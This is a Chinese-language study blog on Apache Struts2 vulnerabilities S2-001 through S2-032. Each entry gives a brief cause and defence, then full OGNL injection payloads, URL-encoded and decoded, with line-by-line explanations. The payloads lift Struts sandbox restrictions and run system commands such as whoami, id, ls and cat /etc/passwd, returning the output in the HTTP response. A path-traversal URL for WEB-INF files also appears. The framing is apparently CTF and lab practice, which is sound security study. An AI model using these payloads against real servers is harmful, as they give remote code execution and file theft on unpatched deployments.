Struts2
了解apache struts2 的框架
Struts2是一个开源的轻量级的,应用于web层(View)的框架。
Struts2框架的MVC分别对应:
M:JavaBean + ModelDriven
V:JSP + OGNL
C:Action
Struts2框架的控制器将“获取请求”和“分发转向”代码抽取出来写在配置文件中,这样一样,控制器(action类)就能专注于业务逻辑的处理了。
##001:
允许讲ognl表达式插入文本字符串并以递归的方式处理,通常以html字段,其中包含ognl表达式,如果表单验证失败,服务器将执行该表达式
<s:form action="editUser">
<s:textfield name="name" />
<s:textfield name="phoneNumber" />
</s:form>
用户可以将“phoneNumber”字段留空以触发验证错误,然后使用 %{1+1} 填充“name”字段。当表单重新显示给用户时,“名称”字段的值将为“2”。原因是默认情况下,值字段被处理为 %{name},并且由于 OGNL 表达式是递归计算的,因此它的计算就像表达式是 %{%{1+1}}
简单说,漏洞原理就是服务器获取html字符串的值的时候,得到了ongl表达式,然后就执行了该表达式导致的恶意后果。(有点像jsp页面语言,本来jsp语言的作用是获取用户输入的值并处理或者保存的,现在它直接发过来的也是这种类型的语言,然后又因为服务器会递归执行该表达式,所以可能会导致恶意后果)
本质:输入的ognl表达式被服务器执行
防御:过滤输入,升级struts2版本
测试:往输入框中输入ognl表达式被执行,则说明存在该漏洞,即输入%{1+1} 返回2
poc:
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"命令"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
解释:
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"命令"})).redirectErrorStream(true).start()
:创建一个新的进程,执行指定的命令,并将标准输出和标准错误输出合并。#b=#a.getInputStream()
:获取进程的标准输出流。#c=new java.io.InputStreamReader(#b)
:将标准输出流转换为字符流,以便读取输出。#d=new java.io.BufferedReader(#c)
:创建一个缓冲读取器,以便逐行读取输出。#e=new char[50000]
:创建一个字符数组,用于存储输出。#d.read(#e)
:将输出读取到字符数组中。#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")
:获取当前请求的HTTP响应对象。#f.getWriter().println(new java.lang.String(#e))
:将输出写入HTTP响应的输出流中,以便发送给客户端。#f.getWriter().flush()
:刷新HTTP响应的输出流。#f.getWriter().close()
:关闭HTTP响应的输出流。
##004
Struts2 调度程序逻辑通过设计允许为在 Web 应用程序的类路径中找到的某些静态资源提供具有以“/struts/”开头的上下文相对路径的请求 URI。(提供静态内容时存在目录遍历漏洞)
FilterDispatcher(2.0 版)和 DefaultStaticContentLoader(2.1 版)存在一个安全漏洞,允许攻击者使用双重编码的 url 和相对路径遍历目录结构并在“静态”内容文件夹之外下载文件,例如:
poc:
http://localhost:8080/struts2-blank-2.0.11.1/struts..
http://localhost:8080/struts2-blank-2.0.11.1/struts/..%252f
http://exampletomcat.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Login.class/
漏洞原理:就是设计的逻辑出问题了,导致的以“/stutrs”开头的目录遍历
防御:过滤,升级版本
##005
ognl表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(u0023)或8进制(43)即绕过了安全限制。
poc:
?('u0023context['xwork.MethodAccessor.denyMethodExecution']u003dfalse')(bla)(bla)&('u0023_memberAccess.excludePropertiesu003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('u0023_memberAccess.allowStaticMethodAccessu003dtrue')(bla)(bla)&('u0023mycmdu003d'ipconfig'')(bla)(bla)&('u0023myretu003d@java.lang.Runtime@getRuntime().exec(u0023mycmd)')(bla)(bla)&(A)(('u0023mydatu003dnew40java.io.DataInputStream(u0023myret.getInputStream())')(bla))&(B)(('u0023myresu003dnew40byte[51020]')(bla))&(C)(('u0023mydat.readFully(u0023myres)')(bla))&(D)(('u0023mystru003dnew40java.lang.String(u0023myres)')(bla))&('u0023myoutu003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('u0023myout.getWriter().println(u0023mystr)')(bla))
解释:
#context['xwork.MethodAccessor.denyMethodExecution']=false
设置MethodAccessor的denyMethodExecution属性为false,以允许执行任意方法。
& #_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET
设置MemberAccess的excludeProperties属性为空集合,以避免访问限制。
& #_memberAccess.allowStaticMethodAccess=true
允许访问静态方法。
& #mycmd='ipconfig'
设置要执行的命令为ipconfig。
& #myret=@java.lang.Runtime@getRuntime().exec(#mycmd)
执行命令,并获取其返回值。
& (A)(#mydat=new java.io.DataInputStream(#myret.getInputStream()))
创建一个DataInputStream对象,以便读取命令的输出。
& (B)(#myres=new byte[51020])
创建一个字节数组,用于存储命令的输出
& (C)(#mydat.readFully(#myres))
读取命令的输出并存储到字节数组中。
& (D)(#mystr=new java.lang.String(#myres))
将字节数组转换为字符串,以便发送给攻击者。
& #myout=@org.apache.struts2.ServletActionContext@getResponse()
获取当前请求的HTTP响应对象
& (E)(#myout.getWriter().println(#mystr))
将命令的输出写入HTTP响应的输出流中,以便发送给攻击者。
这段POC利用的是Struts2漏洞编号为S2-005的远程代码执行漏洞。该漏洞出现在Struts2的核心组件之一,即org.apache.struts2.dispatcher.Dispatcher
类中,具体地说,是在解析HTTP请求参数时,将参数值作为OGNL表达式进行解析,导致攻击者可以在服务器上执行任意命令。漏洞触发的关键点是在OGNL表达式解析过程中,Struts2框架在未经过滤的情况下直接将用户输入作为OGNL表达式的一部分进行解析,从而导致安全问题。
在这段POC中,漏洞的触发点在HelloWorld.action这个Struts2的Action中,该Action对应的URL为
。POC中的payload被作为HTTP请求参数,其中的OGNL表达式被注入到了
name参数中,而
name参数又被作为HelloWorld
对象的属性值进行处理,从而触发漏洞,导致攻击者可以在服务器上执行任意命令。
具体来说,POC中的payload使用了多个OGNL表达式,利用了以下Struts2框架的漏洞点:
MethodAccessor
的denyMethodExecution
属性被设置为false
,允许执行任意方法;MemberAccess
的excludeProperties
属性被设置为空集合,避免访问限制;- 允许访问静态方法;
- 执行命令并获取其返回值;
- 将命令的输出写入HTTP响应的输出流中,以便发送给攻击者。
这些OGNL表达式被注入到了name
参数中,最终被解析执行,导致漏洞被触发。
与001不同的是,这个是一个针对url包含action的漏洞,原理是利用提交的http参数被当成action类下某对象的name值去赋值执行的ognl导致的漏洞,所以理论上url特诊有aciton的都有可能存在该漏洞
##007
出现转换错误时,用户输入将作为 OGNL 表达式进行评估。这允许恶意用户执行任意代码。
POST变量类型出错时,会进行未过滤的字符串拼接,造成后端OGNL表达式执行,经测试年龄输入框可能存在该漏洞。比方一个输入框是年龄,你输入的不是数字,然后报有误,有可能就存在该漏洞(逻辑设计就是这样的,不对就拼接然后当成ognl表达式执行)
poc:
' + (#_memberAccess["allowStaticMethodAccess"]=true,
#foo=new java.lang.Boolean("false"),
#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
解释:
首先通过#_memberAccess["allowStaticMethodAccess"]=true设置了MemberAccess组件的allowStaticMethodAccess属性为true,从而允许访问静态方法。
接下来通过#foo=new java.lang.Boolean("false")创建了一个Boolean对象,将其赋值为false,然后通过#context["xwork.MethodAccessor.denyMethodExecution"]=#foo将其设置为MethodAccessor组件的denyMethodExecution属性的值,从而禁止执行任何方法。这个步骤的目的是为了防止后面的代码执行失败被拦截而终止攻击。
然后使用@org.apache.commons.io.IOUtils@toString()方法将命令whoami的输出转换为字符串格式,以便最终将其作为HTTP响应返回给攻击者。
最后使用@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()方法执行命令whoami,并获取命令的输出流。
将命令的输出流作为参数传递给@org.apache.commons.io.IOUtils@toString()方法,将其转换为字符串格式。
将字符串格式的命令输出作为结果返回给攻击者。
##008
之前处理007漏洞方法是加了白名单限制,但是依旧存在被绕过的可能,一个是struts处理cookie时(CookieInterceptor),一个是利用debug参数。现实生产环境中debug功能是会被禁止的。
poc:
?debug=command&expression=%28%23%5FmemberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java%2Elang%2EBoolean%28%22false%22%29%20%2C%23context%5B%22xwork%2EMethodAccessor%2EdenyMethodExecution%22%5D%3D%23foo%2C%40org%2Eapache%2Ecommons%2Eio%2EIOUtils%40toString%28%40java%2Elang%2ERuntime%40getRuntime%28%29%2Eexec%28%27cat%20key%2Etxt%27%29%2EgetInputStream%28%29%29%29
?debug=command&expression=(#_memberAccess["allowStaticMethodAccess"]=true,
debug 参数是 Struts2 框架中一个非常有用的功能,可以在开发和调试过程中启用它来查看应用程序的内部状态和调试信息。当将 Struts2 应用程序部署到生产环境中时,应该禁用 debug 功能,以避免信息泄露和安全威胁。
command 参数是一个任意命令,攻击者可以通过该参数在 Struts2 应用程序中执行系统命令。在 Struts2 008 漏洞的 POC 中,攻击者使用 command 参数来执行 cat 命令,以读取 /etc/passwd 文件的内容。
expression 参数是一个 OGNL 表达式,攻击者可以使用它来执行任意代码。在 Struts2 008 漏洞的 POC 中,攻击者使用 expression 参数来设置 MethodAccessor 标志、拒绝执行方法、允许访问静态方法,并执行 cat 命令。
设置一个名为 allowStaticMethodAccess 的成员访问标志为 true。
#foo=new java.lang.Boolean("false"),
创建一个名为 foo 的布尔类型变量并将其设置为 false。
#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,
使用 context 对象来设置 XWork 中的 MethodAccessor,拒绝执行方法。这是为了防止应用程序在执行命令之前拒绝访问 Java 运行时。
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat key.txt').getInputStream()))
使用 IOUtils 和 Runtime 类来执行 cat 命令,读取 key.txt 文件的内容并将其作为字符串返回。
JSESSIONID=xxx;mycookie=%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().
contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
这是Struts2漏洞的一个示例,其中包含了一个基于OGNL表达式的远程命令执行攻击代码。该代码可以通过设置cookie参数来触发Struts2漏洞,然后执行任意的系统命令。
下面是该代码的解释:
JSESSIONID=xxx;mycookie=%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
代码的第一部分定义了一个变量#_
,并将其设置为字符串“multipart/form-data”。这里使用的是OGNL表达式语法,它允许我们在代码中动态地设置变量和执行操作。
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))))
代码的第二部分设置了#_memberAccess
变量,用于控制OGNL表达式的访问权限。该代码将#_memberAccess
设置为#dm
变量,如果#_memberAccess
变量不存在,就创建一个#container
和#ognlUtil
变量。然后,该代码通过调用#ognlUtil.getExcludedPackageNames().clear()
和#ognlUtil.getExcludedClasses().clear()
方法清除了一些默认的访问限制,最后通过调用#context.setMemberAccess(#dm)
方法设置了访问权限。
(#cmd='cat /etc/passwd')
代码的第三部分设置了一个命令变量#cmd
,用于指定要执行的系统命令。在这个例子中,我们执行的是cat /etc/passwd
命令,用于读取Linux系统的密码文件。
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().
contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})))
代码的第四部分根据操作系统类型创建一个命令列表#cmds
,用于执行命令。如果操作系统是Windows,则使用cmd.exe /c
命令执行命令;否则,在Linux系统上使用/bin/bash -c
命令执行命令。
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
代码的第五部分创建了一个进程(Process)对象,并将命令列表#cmds
作为参数传递给java.lang.ProcessBuilder
类的构造函数。然后,该代码通过调用#p.redirectErrorStream(true)
方法将进程的错误输出重定向到输出流中,最后通过调用#p.start()
方法启动进程。
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
代码的第六部分获取响应输出流(OutputStream)对象,用于将命令执行结果写入响应流。
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
代码的最后一部分使用org.apache.commons.io.IOUtils
类将进程的标准输出流写入响应输出流中,并通过调用#ros.flush()
方法刷新输出流。
综上所述,这个示例代码通过设置cookie参数,利用Struts2漏洞来执行任意的系统命令。
##009
/helloword.acton?example=&(example)(‘xxx’)=1
example 和 (example)(‘xxx’)。其中,example 参数用于将恶意 OGNL 表达式注入到应用程序中,而后面的 (example)(‘xxx’) 参数则是用于绕过 Struts2 框架中的某些限制。
攻击者将这个 OGNL 表达式作为 example 参数的值,传递给服务器端的应用程序。而后面的 (example)(‘xxx’)=1 则是用于绕过 Struts2 框架中的某些限制,其中 ‘xxx’ 是一个任意的字符串,1 则是一个任意的数字或者布尔值。这个参数的作用是让 Struts2 框架在处理 example 参数时,将它当作一个方法来处理,从而绕过了某些限制并执行了攻击者的恶意代码。
poc:
这段代码利用了 Struts2 框架的 OGNL 表达式注入漏洞,用于执行系统命令。age 和 z[(name)(‘meh’)] 中age,z,meh是无关紧要的参数,可以忽略。而 name 参数则是攻击者构造的恶意 OGNL 表达式(poc中name不可以变,但是age啊,meh,z都可以变),用于执行系统命令和输出结果。
POST参数
age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),
设置 Struts2 框架的 MethodAccessor.denyMethodExecution 属性为 false,以允许执行任意方法。
+#_memberAccess["allowStaticMethodAccess"]=true,
设置 Struts2 框架的 MemberAccess.allowStaticMethodAccess 属性为 true,以允许调用任意静态方法。
+#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),
调用 Java Runtime 类的 exec 方法,执行系统命令,例如这里的命令是 id。
+#b=new+java.io.InputStreamReader(#a),
创建一个 InputStreamReader 对象,用于读取命令执行结果的输入流。其中,#a 是一个 Java 变量,用于存储 Runtime.exec 方法的返回值,即命令执行结果的输入流。
+#c=new+java.io.BufferedReader(#b),
创建一个 BufferedReader 对象,用于读取 InputStreamReader 对象中的字符流。其中,#b 是一个 Java 变量,代表 InputStreamReader 对象。
+#d=new+char[51020],
创建一个字符数组,用于存储命令执行结果的字符流。
+#c.read(#d),
从 BufferedReader 对象中读取字符流,并将其存储到字符数组 #d 中。其中,#c 是一个 Java 变量,代表 BufferedReader 对象。
+#kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
获取 HttpServletResponse 对象的 Writer 对象,用于将命令执行结果输出到浏览器中。其中,#kxlzx 是一个 Java 变量,代表 Writer 对象。
+#kxlzx.println(#d),
将字符数组 #d 中的字符流输出到 HttpServletResponse 对象中。
+#kxlzx.close())(meh)&z[(name)('meh')]
关闭 Writer 对象,其中(meh)&z[(name)('meh')为干扰服务器判断该参数部分
简单说就是,ognl表达式拼接参数上传时,利用参数的变形来绕过服务器的检测机制,然后造成的漏洞,可以理解成一种绕过方式,就好像对#的禁用然后用unicode编码绕过一样。
##013
struts2的标签(s:url 和 s:a 标签)中和都有一个 includeParams 属性,可以设置成如下值:
none - URL中不包含任何参数(默认)
get - 仅包含URL中的GET参数
all - 在URL中包含GET和POST参数
当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上,此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行(当 URL/A 代码尝试解析原始请求中存在的每个参数时,就会进行第二次评估。这允许恶意用户将任意 OGNL 语句放入任何请求参数(不一定由代码管理)中,并将其评估为 OGNL 表达式,以启用方法执行和执行任意方法,从而绕过 Struts 和 OGNL 库保护。)
poc:
?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23out.println%28%2bnew%20java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D
${(#_memberAccess["allowStaticMethodAccess"]=true,
访问控制器
#a=@java.lang.Runtime@getRuntime().exec(‘命令’).getInputStream(),
命令
#b=new java.io.InputStreamReader(#a),
输入流
#c=new java.io.BufferedReader(#b),
存储流
#d=new char[50000],#c.read(#d),
存储数组
#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
获取响应返回对象的内容
#out.println(#d),
打印出内容
#out.close())
关闭流
}
总而言之就是当某标签的includeParams=all时就有这个漏洞,代码本身逻辑的问题。
怎么确定是否某标签的includeParams=all呢?
1.确认可能存在标签的功能点,2.抓包确认参数是否含有’get’,‘none’,'all’之一
标签常见功能点:
s:url 或 s:a 标签生成的链接主要用于生成 HTML 页面中的链接,通常用于实现页面跳转、下载文件、发送邮件等功能。除了这些常见的使用场景之外,还有一些其他的功能点也可能用到这些标签生成链接,例如:
- 在应用程序中生成 REST 风格的 URL,以便客户端可以使用 HTTP 协议进行访问和操作。
- 生成带有 token 或者 session ID 的链接,用于实现单点登录、防止 CSRF 攻击等安全功能。
- 生成带有参数的链接,以便客户端可以向服务器提交查询、搜索等操作。
- 生成动态的图片或者文件链接,以便客户端可以通过 HTTP 协议下载或者查看这些资源。
- 生成带有国际化参数的链接,以便客户端可以根据用户的语言设置显示不同的内容。
#015
如果请求与任何其他定义的操作不匹配,则将匹配该请求的操作名称,并且请求的操作名称将用于根据操作名称加载 JSP 文件。并且由于 {} 的值作为 OGNL 表达式受到威胁,因此允许在服务器端执行任意 Java 代码。
简单说就是,执行了无法匹配的.action行为,会有通配的动作映射去加载该操作名的jsp,并且会执行ognl
验证方式:(后面加 ‘/${1+1}.action’ ,会返回404 和2.jsp)
http://124.70.22.208:44834**/$%7B1+1%7D.action**
poc:
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action
${#context['xwork.MethodAccessor.denyMethodExecution']=false,
该语句用于关闭 Struts2 框架中默认的 OGNL 表达式中的 denyMethodExecution 限制。这个限制是为了防止 OGNL 表达式注入攻击,因为它会禁止在 OGNL 表达式中调用 Java 中的静态方法。
#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
该语句获取了 _memberAccess 对象的 allowStaticMethodAccess 字段。
#m.setAccessible(true),
#m.set(#_memberAccess,true),
#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()),
#q}.action
#016
原理:问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。
漏洞原因是action的值redirect和redirectAction没有正确过滤,导致可以执行任意代码,如系统命令、上传、下载文件等。
Struts2的DefaultActionMapper支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致ongl表达式可以被执行。
poc:
/index.action?redirect:%24%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%27%6c%73%27%2c%27%2f%27%7d%29%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6d%61%74%74%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%23%65%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d
/index.action?redirect:
${
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ls','/'})).start(),
该语句利用 Java 中的 ProcessBuilder 类执行了一个命令 "ls /",获取根目录下的文件列表。具体来说,它首先创建了一个 ProcessBuilder 对象,将命令 "ls /" 作为参数传入,然后调用 start() 方法执行命令,并将执行结果存储在变量 #a 中。
#b=#a.getInputStream(),
该语句获取了命令的输出流,并将其存储在变量 #b 中。
#c=new java.io.InputStreamReader(#b),
该语句创建了一个 InputStreamReader 对象,用于读取命令的输出流。具体来说,它将变量 #b 作为参数传入,表示从变量 #b 中读取数据,并将其转换为字符流。
#d=new java.io.BufferedReader(#c),
该语句创建了一个 BufferedReader 对象,用于缓存读取到的字符流。具体来说,它将变量 #c 作为参数传入,表示从变量 #c 中读取数据,并将其存储在一个缓存区中,以便后续读取。
#e=new char[50000],
该语句创建了一个字符数组 #e,用于存储命令的输出结果。
#d.read(#e),
该语句从 BufferedReader 对象中读取命令的输出结果,并将其存储在字符数组 #e 中。具体来说,它将变量 #e 作为参数传入,表示将读取到的数据存储在变量 #e 中。
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
该语句获取了当前请求的 HttpServletResponse 对象,并将其存储在变量 #matt 中。
#matt.getWriter().println(#e),
该语句获取了当前请求的 HttpServletResponse 对象,并将其存储在变量 #matt 中。
#matt.getWriter().flush(),
该语句获取了当前请求的 HttpServletResponse 对象,并将其存储在变量 #matt 中。
#matt.getWriter().close()
该语句关闭 HttpServletResponse 对象的输出流,释放资源。
}
这里的poc可以用015的代替,就是把ognl表达式的地方替换一下就行
两种poc不同命令执行的异同点:
相同点:
- 都是利用 Java 中的 Runtime 或者 ProcessBuilder 类来执行系统命令,获取命令的输出流。
- 都可以通过 IOUtils 工具类将命令的输出流转换为字符串,以便后续处理。
不同点:
- 执行命令的方式不同:
- @java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream():该方式使用 Runtime 类的 exec() 方法执行命令,并返回命令的输出流。
- new java.lang.ProcessBuilder(new java.lang.String[]{‘ls’,‘/’}).start():该方式使用 ProcessBuilder 类的 start() 方法执行命令,并返回表示新进程的 Process 对象。
- 获取命令的输出流的方式不同:
- IOUtils.toString(InputStream input):该方式使用 IOUtils 工具类中的静态方法,将 InputStream 转换为字符串。具体来说,它会读取 InputStream 中的所有数据,并将其转换为字符串返回。
- BufferedReader.readLine():该方式使用 BufferedReader 类中的 readLine() 方法,逐行读取命令的输出结果。具体来说,它会读取 InputStream 中的一行数据,并将其转换为字符串返回。如果没有更多的数据可供读取,则返回 null。
- 可移植性不同:
- @java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream():该方式依赖于操作系统提供的 shell 环境,不同的操作系统可能使用不同的 shell,因此可移植性较差。
- new java.lang.ProcessBuilder(new java.lang.String[]{‘ls’,‘/’}).start():该方式不依赖于操作系统提供的 shell 环境,可以直接执行命令,因此可移植性较好。
#019
DMI(动态方法调用)开启【struts.enable.DynamicMethodInvocation=ture】导致的构造恶意ogn表达式导致的命令执行。
开启了动态方法调用(DMI)功能后,攻击者可以构造恶意的OGNL表达式,并在其中调用Java对象的任意方法,包括私有方法和受保护的方法。因此,如果应用程序过度依赖DMI功能,攻击者可以利用OGNL表达式注入漏洞来执行任意代码,包括远程命令执行等攻击。
poc:
x.action?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'ls'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()
?debug=command
&expression=
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#memberAccess,true),
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ls'})).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[1000],
#d.read(#e),
#resp.println(#e),
#resp.close()
这段poc同016一样,不基于shell环境就能用的,如果使用类似015的poc会返回null,事实上这个poc的实现方式很像008的debug,
防御:struts.enable.DynamicMethodInvocation设置为false
怎么确认dmi是否开启?查看配置文件 struts.xml
#029
Apache Struts 框架在强制时,会对分配给某些标签的属性值执行双重评估,因此可以传入一个值,该值将在呈现标签的属性时再次评估。
简单说就是,传某个name属性值(可回显,可输入)时,执行了ognl表达式
这题是用了message这个参数
poc:
?message=%28%23_memberAccess%5B%27allowPrivateAccess%27%5D%3Dtrue%2C%23_memberAccess%5B%27allowProtectedAccess%27%5D%3Dtrue%2C%23_memberAccess%5B%27excludedPackageNamePatterns%27%5D%3D%23_memberAccess%5B%27acceptProperties%27%5D%2C%23_memberAccess%5B%27excludedClasses%27%5D%3D%23_memberAccess%5B%27acceptProperties%27%5D%2C%23_memberAccess%5B%27allowPackageProtectedAccess%27%5D%3Dtrue%2C%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%29
(#_memberAccess['allowPrivateAccess']=true,
许访问Java对象的私有方法和字段。
#_memberAccess['allowProtectedAccess']=true,
许访问Java对象的私有方法和字段。
#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],
排除指定包中的Java类,以限制访问
#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],
排除指定的Java类,以限制访问。
#_memberAccess['allowPackageProtectedAccess']=true,
允许访问Java对象的包内可见方法和字段。
#_memberAccess['allowStaticMethodAccess']=true,
允许访问Java对象的静态方法和字段。
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat key.txt').getInputStream()))
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4vukFK3y-1690437455089)(C:\Users\c\AppData\Roaming\Typora\typora-user-images\image-20230727110524209.png)]
##032
启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。
又是dmi开启了可能会出现的问题
poc:
